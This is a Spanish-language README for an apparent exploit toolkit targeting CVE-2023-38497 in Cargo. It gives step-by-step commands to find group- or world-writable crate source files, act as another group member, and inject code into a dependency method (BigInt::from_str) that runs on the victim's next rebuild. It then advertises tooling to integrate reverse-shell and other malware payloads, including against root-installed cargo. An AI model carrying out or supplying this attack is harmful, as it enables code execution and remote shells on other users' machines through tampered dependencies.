
Exploit de Cargo para CVE-2023-38497
Se ha encontrado una nueva vulnerabilidad en cargo versión 1.7.0, como se explica aquí.
Primero tienes que asegurarte de que tu versión de cargo es vulnerable.
cargo --version
Supongamos que tengo un proyecto de cargo con el siguiente archivo src/main.rs:
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
Si ejecuto el programa:
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
No hay nada malo aquí.
A continuación, para todas las crates instaladas en tu sistema, filtra aquellas cuyos permisos tengan una mala configuración, es decir, que puedan ser escritas por el grupo o por cualquier otro usuario de la máquina.
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
Esto devolverá una lista de todos los archivos fuente de Rust vulnerables. De estos, elige el archivo adecuado para tu ataque, el cual debería ser uno en el que esté definido un método que se use en el código fuente del proyecto cargo objetivo.
Y de la lista anterior encuentro el siguiente archivo vulnerable:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
El cual, como se prometió anteriormente, tiene los siguientes permisos: -rw-rw-r--
Por lo tanto, puede ser modificado por cualquier usuario del mismo grupo que el propietario del proyecto cargo, eso da miedo. Pero imagina que cualquier usuario pudiera escribir ese archivo; bueno, hay crates con esos permisos.
Ahora puedes añadir un usuario nuevo a tu máquina, o usar uno existente distinto del usuario del proyecto que pertenezca al mismo grupo que el usuario del archivo que estamos atacando. Por ejemplo, ese archivo fuente en mi máquina tiene el siguiente propietario y grupo:
atreides people
y otro usuario que tengo devuelve lo siguiente al ejecutar el comando id sobre él:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
Ahora sabemos que el usuario bob puede escribir nuestro archivo objetivo y cualquier otro con esos permisos. Cambia al usuario bob y continúa.
Al echar un vistazo a nuestro juego de adivinanzas, podemos ver que se está usando el método from_str de la estructura BigInt. Ese podría ser un método interesante para examinar.
Del archivo objetivo he extraído este fragmento de código:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
Ahora, ¿qué tal si lo modificas para que quede así?
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
Y vuelve a ejecutarlo limpiando el directorio objetivo:
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
¡Vaya! Imagina que estás escribiendo tu proyecto cargo y recibes los siguientes mensajes.
Ten en cuenta que esto solo ocurrirá cuando el directorio objetivo se haya eliminado previamente, es decir, cargo tiene que compilar la crate después de que modifiques el archivo fuente.
Ahora bien, esto es solo una demostración de cómo explotar esta vulnerabilidad, pero imagina si colocas cualquier tipo de payload dentro de un archivo fuente. Este repositorio tiene como objetivo establecer una conexión reverse shell con la cuenta del usuario cada vez que ejecute un proyecto cargo.
Esta es una vulnerabilidad grave si consideras que podría haber instalaciones de cargo con privilegios de root, por lo que el payload colocado se ejecutaría con esos permisos.
En este proyecto encontrarás las siguientes utilidades:
Busca en el archivo local de cargo y en un proyecto cargo objetivo para encontrar todos los métodos específicos que podrían explotarse en el código fuente del objetivo. Si hay un método en particular que te gustaría explotar o no tienes permisos de lectura sobre el proyecto cargo objetivo, omite el vanalyzer en el pipeline de ataque.
./vanalyzer/run.sh <target-project-path> <target-username>
Todos los tipos de payload (principalmente reverse shell y otros malware) que pueden colocarse dentro del código fuente de una crate objetivo. Todos los payloads disponibles hasta ahora son:
Shell simulado que recibe comandos para ejecutar el analizador de vulnerabilidades, tomar uno de los payloads listados anteriormente y un método seleccionado para explotar del analizador de vulnerabilidades, e integra (copia y pega) el payload en el código fuente.
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok